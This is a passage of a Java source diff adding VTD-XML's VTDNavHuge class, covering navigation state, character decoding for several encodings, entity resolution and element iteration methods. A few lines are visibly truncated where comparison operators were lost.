int[] context; // main navigation tracker aka context object + protected boolean atTerminal; // this variable is to make vn compatible with + // xpath's data model + + + // location cache part + protected int l2upper; + protected int l2lower; + protected int l3upper; + protected int l3lower; + protected int l2index; + protected int l3index; + protected int l1index; + + // containers + protected ILongBuffer vtdBuffer; + protected ILongBuffer l1Buffer; + protected ILongBuffer l2Buffer; + protected IIntBuffer l3Buffer; + protected IByteBuffer XMLDoc; + + //private int recentNS; // most recently visited NS node, experiment for now + // Hierarchical representation is an array of integers addressing elements tokens + private ContextBuffer contextStack; + protected ContextBuffer contextStack2;// this is reserved for XPath + + protected int LN; // record txt and attrbute for XPath eval purposes + // the document encoding + protected int encoding; + //protected boolean writeOffsetAdjustment; + // for string to token comparison + //protected int currentOffset; + //protected int currentOffset2; + + // whether the navigation is namespace enabled or not. + protected boolean ns; + + // intermediate buffer for push and pop purposes + protected int[] stackTemp; + protected long docOffset; + // length of the document + protected long docLen; + protected int vtdSize; //vtd record count + /** + * Initialize the VTD navigation object. + * @param RootIndex int + * @param maxDepth int + * @param encoding int + * @param NS boolean + * @param x byte[] + * @param vtd com.ximpleware.extended.ILongBuffer + * @param l1 com.ximpleware.extended.ILongBuffer + * @param l2 com.ximpleware.extended.ILongBuffer + * @param l3 com.ximpleware.extended.IIntBuffer + * @param so int starting offset of the document(in byte) + * @param length int length of the document (in byte) + */ + protected VTDNavHuge( + int RootIndex, + int enc, + boolean NS, + int depth, + IByteBuffer x, + ILongBuffer vtd, + ILongBuffer l1, + ILongBuffer l2, + IIntBuffer l3, + long so, // start offset of the starting offset(in byte) + long length) // lengnth of the XML document (in byte)) + { + // initialize all buffers + if (l1 == null + || l2 == null + || l3 == null + || vtd == null + || x == null + || depth < 0 + || RootIndex < 0 //|| encoding <= FORMAT_UTF8 + //|| encoding >= FORMAT_ISO_8859_1 + || so < 0 + || length < 0) { + throw new IllegalArgumentException(); + } + + l1Buffer = l1; + l2Buffer = l2; + l3Buffer = l3; + vtdBuffer = vtd; + XMLDoc = x; + + encoding = enc; + //System.out.println("encoding " + encoding); + rootIndex = RootIndex; + nestingLevel = depth + 1; + ns = NS; // namespace aware or not + //if (ns == false) + // MASK_TOKEN_OFFSET = 0x000000007fffffffL; // this allows xml size to be 2GB + //else // if there is no namespace + // MASK_TOKEN_OFFSET = 0x000000003fffffffL; + + + atTerminal = false; //this variable will only change value during XPath eval + + // initialize the context object + this.context = new int[nestingLevel]; + //depth value is the first entry in the context because root is singular. + context[0] = 0; + //set the value to zero + for (int i = 1; i < nestingLevel; i++) { + context[i] = -1; + } + //currentOffset = 0; + //contextStack = new ContextBuffer(1024, nestingLevel + 7); + contextStack = new ContextBuffer(10, nestingLevel + 9); + contextStack2 = new ContextBuffer(10, nestingLevel+9); + stackTemp = new int[nestingLevel + 9]; + + // initial state of LC variables + l1index = l2index = l3index = -1; + l2lower = l3lower = -1; + l2upper = l3upper = -1; + docOffset = so; + docLen = length; + //System.out.println("offset " + offset + " length " + length); + //printL2Buffer(); + vtdSize = vtd.size(); + //writeOffsetAdjustment = false; + //recentNS = -1; + } + /** + * Return the attribute count of the element at the cursor position. + * when ns is false, ns tokens are considered attributes; + * otherwise, ns tokens are not considered attributes + * @return int + */ + public int getAttrCount() { + if (context[0]==-1)return 0; + int count = 0; + int index = getCurrentIndex() + 1; + while (index < vtdSize) { + int type = getTokenType(index); + if (type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_VAL + || type == TOKEN_ATTR_NS) { + if (type == TOKEN_ATTR_NAME + || (!ns && (type == TOKEN_ATTR_NS))) { + count++; + } + } else + break; + index++; + } + return count; + } + /** + * Get the token index of the attribute value given an attribute name. + * @return int (-1 if no such attribute name exists) + * @param an java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD etc can be generated by another + * machine from a load-balancer. + * @exception IllegalArguementException if an is null + */ + public int getAttrVal(String an) throws NavExceptionHuge { + //int size = vtdBuffer.size(); + if (context[0]==-1) + return -1; + int index = (context[0] != 0) ? context[context[0]] + 1 : rootIndex + 1; + + int type; + if (index= vtdSize) + break; + type = getTokenType(index); + } + } else { + while ((type == TOKEN_ATTR_NAME || type == TOKEN_ATTR_NS)) { + if (type == TOKEN_ATTR_NAME + && matchRawTokenString( + index, + an)) { // ns node visible only ns is disabled + return index + 1; + } + index += 2; + if (index>=vtdSize) + break; + type = getTokenType(index); + } + } + return -1; + } + /** + * Get the token index of the attribute value of given URL and local name. + * If ns is not enabled, the lookup will return -1, indicating a no-found. + * Also namespace nodes are invisible using this method. + * One can't use * to indicate any name space because * is ambiguous!! + * @return int (-1 if no matching attribute found) + * @param URL java.lang.String (Name space URL) + * @param ln java.lang.String (local name) + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD etc can be generated by another + * machine from a load-balancer. + * @exception IllegalArguementException if s is null + */ + public int getAttrValNS(String URL, String ln) throws NavExceptionHuge { + if (ns == false) + return -1; + if (URL == null) + return getAttrVal(ln); + int size = vtdBuffer.size(); + int index = (context[0] != 0) ? context[context[0]] + 1 : rootIndex + 1; + // point to the token next to the element tag + int type; + if (index> 16) & 0xffff; + int fullLen = i & 0xffff; + if (preLen != 0 + // attribute name without a prefix is not bound to any namespaces + && matchRawTokenString( + offset + preLen + 1, + fullLen - preLen - 1, + ln) + && resolveNS(URL, offset, preLen)) { + return index + 1; + } + index += 2; + if (index>=vtdSize) + break; + type = getTokenType(index); + } + return -1; + } + private long handle_utf8(long temp, long offset) throws NavExceptionHuge { + int c, d, a; + + long val; + switch (UTF8Char.byteCount((int)temp & 0xff)) { + case 2: + c = 0x1f; + d = 6; + a = 1; + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + default: + throw new NavExceptionHuge("UTF 8 encoding error: should never happen"); + } + + val = (temp & c) << d; + int i = a - 1; + while (i >= 0) { + temp = XMLDoc.byteAt(offset + a - i); + if ((temp & 0xc0) != 0x80) + throw new NavExceptionHuge( + "UTF 8 encoding error: should never happen"); + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + //currentOffset += a + 1; + return val | (((long)(a+1))<<32); + } + + + private long handle_utf16le(long offset) throws NavExceptionHuge { + // implement UTF-16LE to UCS4 conversion + int val, temp = + (XMLDoc.byteAt((offset << 1) + 1 ) & 0xff) + << 8 | (XMLDoc.byteAt(offset << 1) & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { // check for low surrogate + if (temp == '\r') { + if (XMLDoc.byteAt((offset << 1) + 2) == '\n' + && XMLDoc.byteAt((offset << 1) + 3) == 0) { + return '\n' | (2L<<32) ; + } else { + return '\n' | (1L<<32); + } + } + return temp | (1L<<32); + } else { + if (temp<0xd800 || temp>0xdbff) + throw new NavExceptionHuge("UTF 16 LE encoding error: should never happen"); + val = temp; + temp = + (XMLDoc.byteAt((offset << 1) + 3)&0xff) + << 8 | (XMLDoc.byteAt((offset << 1) + 2) & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be high surrogate + throw new NavExceptionHuge("UTF 16 LE encoding error: should never happen"); + } + val = ((temp - 0xd800)<<10) + (val - 0xdc00) + 0x10000; + + return val | (2L<<32); + } + //System.out.println("UTF 16 LE unimplemented for now"); + } + + private long handle_utf16be(long offset) throws NavExceptionHuge{ + long val; + + int temp = + ((XMLDoc.byteAt(offset << 1) & 0xff) << 8) + |(XMLDoc.byteAt((offset << 1) + 1)& 0xff); + if ((temp < 0xd800) + || (temp > 0xdfff)) { // not a high surrogate + if (temp == '\r') { + if (XMLDoc.byteAt((offset << 1) + 3) == '\n' + && XMLDoc.byteAt((offset << 1) + 2) == 0) { + + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + //currentOffset++; + return temp| (1L<<32); + } else { + if (temp<0xd800 || temp>0xdbff) + throw new NavExceptionHuge("UTF 16 BE encoding error: should never happen"); + val = temp; + temp = + ((XMLDoc.byteAt((offset << 1) + 2) & 0xff) + << 8) | (XMLDoc.byteAt((offset << 1 )+ 3) & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be a low surrogate here + throw new NavExceptionHuge("UTF 16 BE encoding error: should never happen"); + } + val = ((temp - 0xd800) << 10) + (val - 0xdc00) + 0x10000; + //currentOffset += 2; + return val | (2L<<32); + } + } + + private long getChar4OtherEncoding(long offset) throws NavExceptionHuge{ + if (encoding <= FORMAT_WIN_1258){ + int temp = decode(offset); + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + return temp|(1L<<32); + } + throw new NavExceptionHuge("Unknown Encoding"); + } + /** + * This method decodes the underlying byte array into corresponding UCS2 char representation . + * It doesn't resolves built-in entity and character references. + * Length will never be zero + * Creation date: (11/21/03 6:26:17 PM) + * @return int + * @exception com.ximpleware.extended.NavExceptionHuge The exception is thrown if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine, e.g. from a load-balancer. + */ + private long getChar(long offset) throws NavExceptionHuge { + long temp = 0; + //int a, c, d; + //int val; + //int ch; + //int inc; + //a = c = d = val = 0; + + switch (encoding) { + case FORMAT_ASCII : // ascii is compatible with UTF-8, the offset value is bytes + temp = XMLDoc.byteAt(offset); + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + + return temp|(1L<<32); + + case FORMAT_ISO_8859_1 : + temp = XMLDoc.byteAt(offset); + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + + return (temp & 0xff)|(1L<<32); + + case FORMAT_UTF8 : + temp = XMLDoc.byteAt(offset); + if (temp>=0){ + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + //currentOffset++; + return temp|(1L<<32); + } + return handle_utf8(temp,offset); + + case FORMAT_UTF_16BE : + return handle_utf16be(offset); + + case FORMAT_UTF_16LE : + return handle_utf16le(offset); + + default : + return getChar4OtherEncoding(offset); + //throw new NavExceptionHuge("Unknown Encoding"); + } + } + /* the exact same copy of getChar except it operates on currentOffset2 + * this is needed to compare VTD tokens directly + */ + + + /** + * This method decodes the underlying byte array into corresponding UCS2 char representation . + * Also it resolves built-in entity and character references. + * @return int + * @exception com.ximpleware.extended.NavExceptionHuge The exception is thrown if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine from a load-balancer. + */ + private long getCharResolved(long offset) throws NavExceptionHuge { + int ch = 0; + int val = 0; + long inc =2; + long l = getChar(offset); + + ch = (int)l; + + if (ch != '&') + return l; + + // let us handle references here + //currentOffset++; + offset++; + ch = getCharUnit(offset); + offset++; + switch (ch) { + case '#' : + + ch = getCharUnit(offset); + + if (ch == 'x') { + while (true) { + offset++; + inc++; + ch = getCharUnit(offset); + + if (ch >= '0' && ch <= '9') { + val = (val << 4) + (ch - '0'); + } else if (ch >= 'a' && ch <= 'f') { + val = (val << 4) + (ch - 'a' + 10); + } else if (ch >= 'A' && ch <= 'F') { + val = (val << 4) + (ch - 'A' + 10); + } else if (ch == ';') { + inc++; + break; + } else + throw new NavExceptionHuge("Illegal char in a char reference"); + } + } else { + while (true) { + + ch = getCharUnit(offset); + offset++; + inc++; + if (ch >= '0' && ch <= '9') { + val = val * 10 + (ch - '0'); + } else if (ch == ';') { + break; + } else + throw new NavExceptionHuge("Illegal char in char reference"); + + } + } + break; + + case 'a' : + ch = getCharUnit(offset); + if (ch == 'm') { + if (getCharUnit(offset + 1) == 'p' + && getCharUnit(offset + 2) == ';') { + inc = 5; + val = '&'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + } else if (ch == 'p') { + if (getCharUnit(offset + 1) == 'o' + && getCharUnit(offset + 2) == 's' + && getCharUnit(offset + 3) == ';') { + inc = 6; + val = '\''; + } else + throw new NavExceptionHuge("illegal builtin reference"); + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + + case 'q' : + + if (getCharUnit(offset) == 'u' + && getCharUnit(offset + 1) == 'o' + && getCharUnit(offset + 2) == 't' + && getCharUnit(offset + 3) ==';') { + inc = 6; + val = '\"'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + case 'l' : + if (getCharUnit(offset) == 't' + && getCharUnit(offset + 1) == ';') { + //offset += 2; + inc = 4; + val = '<'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + case 'g' : + if (getCharUnit(offset) == 't' + && getCharUnit(offset + 1) == ';') { + inc = 4; + val = '>'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + + default : + throw new NavExceptionHuge("Invalid entity char"); + + } + + //currentOffset++; + return val | (inc << 32); + } + + /* the exact same copy of getCharResolved except it operates on currentOffset2 + * this is needed to compare VTD tokens directly + */ +/* private int getCharResolved2() throws NavExceptionHuge { + int ch = 0; + int val = 0; + ch = getChar2(); + if (ch != '&') + return ch; + + // let us handle references here + //currentOffset++; + ch = getCharUnit(currentOffset2); + currentOffset2++; + switch (ch) { + case '#' : + + ch = getCharUnit(currentOffset2); + + if (ch == 'x') { + while (true) { + currentOffset2++; + ch = getCharUnit(currentOffset2); + + if (ch >= '0' && ch <= '9') { + val = (val << 4) + (ch - '0'); + } else if (ch >= 'a' && ch <= 'f') { + val = (val << 4) + (ch - 'a' + 10); + } else if (ch >= 'A' && ch <= 'F') { + val = (val << 4) + (ch - 'A' + 10); + } else if (ch == ';') { + currentOffset2++; + break; + } else + throw new NavExceptionHuge("Illegal char in a char reference"); + } + } else { + while (true) { + + ch = getCharUnit(currentOffset2); + + if (ch >= '0' && ch <= '9') { + val = val * 10 + (ch - '0'); + } else if (ch == ';') { + currentOffset2++; + break; + } else + throw new NavExceptionHuge("Illegal char in char reference"); + currentOffset2++; + } + } + break; + + case 'a' : + ch = getCharUnit(currentOffset2); + if (ch == 'm') { + if (getCharUnit(currentOffset2 + 1) == 'p' + && getCharUnit(currentOffset2 + 2) == ';') { + currentOffset2 += 3; + val = '&'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + } else if (ch == 'p') { + if (getCharUnit(currentOffset2 + 1) == 'o' + && getCharUnit(currentOffset2 + 2) == 's' + && getCharUnit(currentOffset2 + 3) == ';') { + currentOffset2 += 4; + val = '\''; + } else + throw new NavExceptionHuge("illegal builtin reference"); + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + + case 'q' : + + if (getCharUnit(currentOffset2) == 'u' + && getCharUnit(currentOffset2 + 1) == 'o' + && getCharUnit(currentOffset2 + 2) == 't' + && getCharUnit(currentOffset2 + 3) == ';') { + currentOffset2 += 4; + val = '\"'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + case 'l' : + if (getCharUnit(currentOffset2) == 't' + && getCharUnit(currentOffset2 + 1) == ';') { + currentOffset2 += 2; + val = '<'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + case 'g' : + if (getCharUnit(currentOffset2) == 't' + && getCharUnit(currentOffset2 + 1) == ';') { + currentOffset2 += 2; + val = '>'; + } else + throw new NavExceptionHuge("illegal builtin reference"); + break; + + default : + throw new NavExceptionHuge("Invalid entity char"); + + } + + //currentOffset++; + return val; + }*/ + + private int decode(long offset){ + byte ch = XMLDoc.byteAt(offset); + switch(encoding){ + case FORMAT_ISO_8859_2: + return ISO8859_2.decode(ch); + case FORMAT_ISO_8859_3: + return ISO8859_3.decode(ch); + case FORMAT_ISO_8859_4: + return ISO8859_4.decode(ch); + case FORMAT_ISO_8859_5: + return ISO8859_5.decode(ch); + case FORMAT_ISO_8859_6: + return ISO8859_6.decode(ch); + case FORMAT_ISO_8859_7: + return ISO8859_7.decode(ch); + case FORMAT_ISO_8859_8: + return ISO8859_8.decode(ch); + case FORMAT_ISO_8859_9: + return ISO8859_9.decode(ch); + case FORMAT_ISO_8859_10: + return ISO8859_10.decode(ch); + case FORMAT_ISO_8859_11: + return ISO8859_11.decode(ch); + case FORMAT_ISO_8859_13: + return ISO8859_13.decode(ch); + case FORMAT_ISO_8859_14: + return ISO8859_14.decode(ch); + case FORMAT_ISO_8859_15: + return ISO8859_15.decode(ch); + case FORMAT_WIN_1250: + return WIN1250.decode(ch); + case FORMAT_WIN_1251: + return WIN1251.decode(ch); + case FORMAT_WIN_1252: + return WIN1252.decode(ch); + case FORMAT_WIN_1253: + return WIN1253.decode(ch); + case FORMAT_WIN_1254: + return WIN1254.decode(ch); + case FORMAT_WIN_1255: + return WIN1255.decode(ch); + case FORMAT_WIN_1256: + return WIN1256.decode(ch); + case FORMAT_WIN_1257: + return WIN1257.decode(ch); + default: + return WIN1258.decode(ch); + } + } + /** + * Get the next char unit which gets decoded automatically + * @return int + */ + private int getCharUnit(long offset) { + return (encoding <= 2) + ? XMLDoc.byteAt(offset) & 0xff + : (encoding <= FORMAT_WIN_1258) + ? decode(offset):(encoding == FORMAT_UTF_16BE) + ? (XMLDoc.byteAt(offset << 1) + << 8 | XMLDoc.byteAt((offset << 1) + 1)) + : (XMLDoc.byteAt((offset << 1) + 1) + << 8 | XMLDoc.byteAt(offset << 1)); + } + /** + * Get the depth (>=0) of the current element. + * Creation date: (11/16/03 6:58:22 PM) + * @return int + */ + final public int getCurrentDepth() { + return context[0]; + } + /** + * Get the index value of the current element. + * Creation date: (11/16/03 6:40:25 PM) + * @return int + */ + final public int getCurrentIndex() { + if (atTerminal) + return LN; + switch(context[0]){ + case -1: return 0; + case 0: return rootIndex; + default: return context[context[0]]; + } + //return (context[0] == 0) ? rootIndex : context[context[0]]; + } + + // this one is used in iterAttr() in autoPilot + final protected int getCurrentIndex2(){ + switch(context[0]){ + case -1: return 0; + case 0: return rootIndex; + default: return context[context[0]]; + } + } + /** + * Get the encoding of the XML document. + * @return int + */ + final public int getEncoding() { + return encoding; + } + /** + * Get the maximum nesting depth of the XML document (>0). + * max depth is nestingLevel -1 + * @return int + */ + final public int getNestingLevel() { + return nestingLevel; + } + + /** + * + * @return + */ + final protected long getOffsetAfterHead(){ + + int i = getCurrentIndex(); + if (getTokenType(i)!=VTDNavHuge.TOKEN_STARTING_TAG){ + return -1; + } + int j=i+1; + while (j= vtdSize) + break; + type = getTokenType(index); + } + return -1; + } + /** + * Get total number of VTD tokens for the current XML document. + * @return int + */ + final public int getTokenCount() { + return vtdSize; + } + /** + * Get the depth value of a token (>=0). + * @return int + * @param index int + */ + final public int getTokenDepth(int index) { + int i = (int) ((vtdBuffer.longAt(index) & MASK_TOKEN_DEPTH) >> 55); + if (i != 31) + return i; + return -1; + } + /** + * Get the token length at the given index value + * please refer to VTD spec for more details + * Length is in terms of the UTF char unit + * For prefixed tokens, it is the qualified name length. + * When ns is not enabled, return the full name length for attribute name and element name + * When ns is enabled, return an int with upper 16 bit for prefix length, lower 16 bit for qname length + * @return int + * @param index int + */ + public int getTokenLength(int index) { + int type = getTokenType(index); + int depth; + //int val; + int len = 0; + long l; + long temp=0; + switch (type) { + case TOKEN_ATTR_NAME : + case TOKEN_ATTR_NS : + case TOKEN_STARTING_TAG : + l = vtdBuffer.longAt(index); + return (ns == false) + ? (int) ((l & MASK_TOKEN_QN_LEN) >> 38) + : ((int) ((l & MASK_TOKEN_QN_LEN) + >> 38) + | ((int) ((l & MASK_TOKEN_PRE_LEN) + >> 32))); + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: // make sure this is total length + depth = getTokenDepth(index); + do{ + len = len + (int) + ((vtdBuffer.longAt(index)& MASK_TOKEN_FULL_LEN) >> 38); + temp = getTokenOffset(index)+(int) + ((vtdBuffer.longAt(index)& MASK_TOKEN_FULL_LEN) >> 38); + index++; + } + while(index < vtdSize && depth == getTokenDepth(index) + && type == getTokenType(index) + && temp == getTokenOffset(index)); + //if (int k=0) + return len; + default : + return (int) + ((vtdBuffer.longAt(index) & MASK_TOKEN_FULL_LEN) >> 38); + } + } + /** + * Get the starting offset of the token at the given index. + * @return int + * @param index int + */ + final public long getTokenOffset(int index) { + //return (context[0] != 0) + // ? (int) (vtdBuffer.longAt(context[context[0]]) & MASK_TOKEN_OFFSET) + // : (int) (vtdBuffer.longAt(rootIndex) & MASK_TOKEN_OFFSET); + return (vtdBuffer.longAt(index) & MASK_TOKEN_OFFSET); + } + + /** Get the XML document + * @return IByteBuffer + */ + final public IByteBuffer getXML() { + return XMLDoc; + } + /** + * Get the token type of the token at the given index value. + * Creation date: (11/16/03 6:41:51 PM) + * @return int + * @param index int + */ + final public int getTokenType(int index) { + return (int) ((vtdBuffer.longAt(index) & MASK_TOKEN_TYPE) >> 60) & 0xf; + } + /** + * Test whether current element has an attribute with the matching name. + * "*" will match any attribute name, therefore is a test whether there is any attribute at all + * if namespace is disabled, this function will not distinguish between ns declaration and attribute + * otherwise, ns tokens are invisible + * Creation date: (11/16/03 5:50:26 PM) + * @return boolean (true if such an attribute exists) + * @param an java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD etc can be generated by another + * machine from a load-balancer. + * @exception IllegalArguementException if an is null + */ + final public boolean hasAttr(String an) throws NavExceptionHuge { + return getAttrVal(an)!=-1; + } + /** + * Test whether the current element has an attribute with + * matching namespace URL and localname. + * If ns is false, return false immediately + * @return boolean + * @param URL java.lang.String (namespace URL) + * @param ln java.lang.String (localname ) + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because the VTD can be generated by another + * machine such as a load-balancer. + * @exception IllegalArguementException if ln is null + */ + final public boolean hasAttrNS(String URL, String ln) throws NavExceptionHuge { + return (getAttrValNS(URL, ln) != -1); + } + /** + * Test the token type, to see if it is a starting tag. + * @return boolean + * @param index int + */ + private final boolean isElement(int index) { + return (((vtdBuffer.longAt(index) & MASK_TOKEN_TYPE) >> 60) & 0xf) + == TOKEN_STARTING_TAG; + } + + /** + * Test the token type, to see if it is a starting tag + * or document token (introduced in 1.0). + * @return boolean + * @param index int + */ + private final boolean isElementOrDocument(int index){ + long i =(((vtdBuffer.longAt(index) & MASK_TOKEN_TYPE) >> 60) & 0xf); + return (i==TOKEN_STARTING_TAG||i==TOKEN_DOCUMENT); + } + /** + * Test whether ch is a white space character or not. + * @return boolean + * @param ch int + */ + final private boolean isWS(int ch) { + return (ch == ' ' || ch == '\n' || ch == '\t' || ch == '\r'); + } + + /** + * This function is called by selectElement_P in autoPilot + * @param en element Name + * @param a context of current position + * @param special whether the test type is node() + * @return boolean + * @throws NavExceptionHuge + */ + protected boolean iterate_preceding(String en, int[] a, boolean special) + throws NavExceptionHuge { + int index = getCurrentIndex() - 1; + int t,d; + //int depth = getTokenDepth(index); + //int size = vtdBuffer.size(); + while (index > 0) { + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + context[0] = depth; + //context[depth]=index; + if (depth>0){ + context[depth] = index; + t = index -1; + for (int i=depth-1;i>0;i--){ + if (context[i]>index || context[i] == -1){ + while(t>0){ + d = getTokenDepth(t); + if ( d == i && isElement(t)){ + context[i] = t; + break; + } + t--; + } + }else + break; + } + } + //dumpContext(); + if (index!= a[depth] && (special || matchElement(en))) { + resolveLC(); + return true; + } + } + index--; + } + return false; + } + /** + * This function is called by selectElementNS_P in autoPilot + * @param URL + * @param ln + * @return boolean + * @throws NavExceptionHuge + */ + protected boolean iterate_precedingNS(String URL, String ln, int[] a ) + throws NavExceptionHuge { + int index = getCurrentIndex() - 1; + int t,d; + //int depth = getTokenDepth(index); + //int size = vtdBuffer.size(); + while (index > 0 ) { + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + context[0] = depth; + //context[depth]=index; + if (depth>0){ + context[depth] = index; + t = index -1; + for (int i=depth-1;i>0;i--){ + if (context[i]>index || context[i]==-1){ + while(t>0){ + d = getTokenDepth(t); + if ( d == i && isElement(t)){ + context[i] = t; + break; + } + t--; + } + }else + break; + } + } + //dumpContext(); + if (index != a[depth] && matchElementNS(URL,ln)) { + resolveLC(); + return true; + } + } + index--; + } + return false; + } + /** + * This function is called by selectElement_F in autoPilot + * + * @param en ElementName + * @param special whether it is a node() + * @return boolean + * @throws NavExceptionHuge + */ + + protected boolean iterate_following(String en, boolean special) + throws NavExceptionHuge{ + int index = getCurrentIndex() + 1; + //int size = vtdBuffer.size(); + while (index < vtdSize) { + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + context[0] = depth; + if (depth>0) + context[depth] = index; + if (special || matchElement(en)) { + resolveLC(); + return true; + } + } + index++; + } + return false; + } + + /** + * This function is called by selectElementNS_F in autoPilot + * @param URL + * @param ln + * @return boolean + * @throws NavExceptionHuge + */ + protected boolean iterate_followingNS(String URL, String ln) + throws NavExceptionHuge{ + int index = getCurrentIndex() + 1; + //int size = vtdBuffer.size(); + while (index < vtdSize) { + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + context[0] = depth; + if (depth>0) + context[depth] = index; + if (matchElementNS(URL,ln)) { + resolveLC(); + return true; + } + } + index++; + } + return false; + } + /** + * This method is similar to getElementByName in DOM except it doesn't + * return the nodeset, instead it iterates over those nodes. Notice that this method + * is called by the "iterate" method in the Autopilot class. + * "*" will match any element + * Creation date: (12/2/03 2:31:20 PM) + * @return boolean + * @param dp int (The depth of the starting position before iterating) + * @param en java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge The exception is signaled if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because VTD records can be generated by another + * machine from a load-balancer. + * null element name allowed represent node()in XPath; + */ + protected boolean iterate(int dp, String en, boolean special) + throws NavExceptionHuge { // the navigation doesn't rely on LC + // get the current depth + int index = getCurrentIndex() + 1; + int tokenType; + //int size = vtdBuffer.size(); + while (index < vtdSize) { + tokenType = getTokenType(index); + if (tokenType==VTDNavHuge.TOKEN_ATTR_NAME + || tokenType == VTDNavHuge.TOKEN_ATTR_NS){ + index = index+2; + continue; + } + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + if (depth > dp) { + context[0] = depth; + if (depth>0) + context[depth] = index; + if (special || matchElement(en)) { + if (dp< 4) + resolveLC(); + return true; + } + } else { + return false; + } + } + index++; + + } + return false; + } + /** + * This method is similar to getElementByName in DOM except it doesn't + * return the nodeset, instead it iterates over those nodes . + * When URL is "*" it will match any namespace + * if ns is false, return false immediately + * @return boolean + * @param dp int (The depth of the starting position before iterating) + * @param URL java.lang.String + * @param ln java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge The exception if the underlying byte + * content contains various errors. Notice that we are being conservative in making little assumption on + * the correctness of underlying byte content. This is because VTD records can be generated by another + * machine from a load-balancer.. + * @exception IllegalArguementException if ln is null + * example + * + * int depth = nv.getCurrentDepth() + * while(iterateNS(depth, "www.url.com","node_name")){ + * push(); // store the current position + * //move position safely + * pop(); // load the position + * } + */ + final protected boolean iterateNS(int dp, String URL, String ln) + throws NavExceptionHuge { + if (ns == false) + return false; + int tokenType; + int index = getCurrentIndex() + 1; + while (index < vtdSize) { + tokenType = getTokenType(index); + if(tokenType==VTDNavHuge.TOKEN_ATTR_NAME + || tokenType == VTDNavHuge.TOKEN_ATTR_NS){ + index = index+2; + continue; + } + if (isElementOrDocument(index)) { + int depth = getTokenDepth(index); + if (depth > dp) { + context[0] = depth; + if (depth>0) + context[depth] = index; + if (matchElementNS(URL, ln)) { + if (dp < 4) + resolveLC(); + return true; + } + } else { + return false; + } + } + index++; + } + return false; + } + + /** + * Test if the current element matches the given name. + * Creation date: (11/26/03 2:09:43 PM) + * @return boolean + * @param en java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge If the underlying raw char representation has errors. + */ + final public boolean matchElement(String en) throws NavExceptionHuge { + + if (en.equals("*") && context[0]!=-1) + return true; + if (context[0]==-1) + return false; + return matchRawTokenString( + (context[0] == 0) ? rootIndex : context[context[0]], + en); + } + /** + * Test whether the current element matches the given namespace URL and localname. + * URL, when set to "*", matches any namespace (including null), when set to null, defines a "always-no-match" + * ln is the localname that, when set to *, matches any localname + * @return boolean + * @param URL java.lang.String + * @param ln java.lang.String + * @exception com.ximpleware.extended.NavExceptionHuge When there is any encoding conversion error or unknown entity. + * @exception java.lang.IllegalArgumentException if ln == null + */ + public boolean matchElementNS(String URL, String ln) throws NavExceptionHuge { + if (context[0]==-1) + return false; + int i = + getTokenLength((context[0] != 0) ? context[context[0]] : rootIndex); + long offset = + getTokenOffset((context[0] != 0) ? context[context[0]] : rootIndex); + int preLen = (i >> 16) & 0xffff; + int fullLen = i & 0xffff; + + if (ln.equals("*") + || ((preLen != 0) + ? matchRawTokenString( + offset + preLen + 1, + fullLen - preLen - 1, + ln) + : matchRawTokenString( + offset, + fullLen, + ln))) { // no prefix, search for xmlns + if (((URL != null) ? URL.equals("*") : false) + || (resolveNS(URL, offset, preLen) == true)) + return true; + } + return false; + } + final private boolean matchRawTokenString(long offset, int len, String s) + throws NavExceptionHuge{ + return compareRawTokenString(offset, len, s)==0; + } + + protected int compareTokenString(long offset, int len, String s) + throws NavExceptionHuge { + int i, l; + long l1; + //this.currentOffset = offset; + long endOffset = offset + len; + + // 